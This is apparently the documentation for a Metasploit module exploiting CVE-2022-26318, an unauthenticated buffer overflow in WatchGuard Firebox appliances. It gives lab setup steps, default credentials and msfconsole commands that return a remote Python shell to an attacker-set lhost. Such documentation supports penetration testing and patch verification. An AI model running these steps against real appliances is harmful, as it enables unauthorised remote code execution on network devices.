## Vulnerable Application
This module exploits a buffer overflow at the administration interface (8080 or 4117) of WatchGuard Firebox and XTM appliances
which is built from a cherrypy python backend sending XML-RPC requests to a C binary called `wgagent` using pre-authentication
endpoint `/agent/login`.
This vulnerability impacts Fireware OS before 12.7.2_U2, 12.x before 12.1.3_U8, and 12.2.x through 12.5.x before 12.5.9_U2.
Successful exploitation results in remote code execution as user `nobody`.
## Installation
### Installation steps to install Watchguard Firebox virtual appliance
* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform.
* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/).
* Download the Watchguard Firebox `12.7.2` ova instance.
* You can download it from [here](https://cdn.watchguard.com/SoftwareCenter/Files/XTM/12_7_2/FireboxV_12_7_2.ova).
* Import the ova instance in your virtualization engine.
* See instructions for VirtualBox [here](https://www.simplified.guide/virtualbox/vm-import).
* Configure the network interfaces (first interface is WAN and second interface is internal).
* You can either choose bridged or NAT depending on your preference for the test environment.
* Boot up the Firebox VM.
* You should be able to access the Watchguard Firebox either thru the console, `ssh` on port `4117`
* or via the `webui` via `https://your_firebox_wan_ip:8080`.
* The default account is `admin` and password is `readwrite`.
You are now ready to test the module.
## Verification Steps
- [x] Start `msfconsole`
- [x] `use exploit/linux/http/watchguard_firebox_unauth_rce_cve_2022_26318`
- [x] `set rhosts <ip-target>`
- [x] `set lhost <ip-attacker>`
- [x] `set target <0=Automatic>`
- [x] `exploit`
you should get a `interactive python shell` .

```
## Options
Please set the `SHELL` option to `/usr/bin/python` becuase this is the only shell available on the appliance.

## Limitations
There is no `shell` installed and there is only a `busybox` version available with a very limited unix command set.
The only option is to use the interactive python shell (`/usr/bin/python -i`) as payload to get access to the target.
Check out `https://docs.python.org/2.7/library/os.html` to execute commands on the target.
Another limitation is the crash of `wgagent` service that will show up in the diagnostic log and will break the user login via the `webui`.
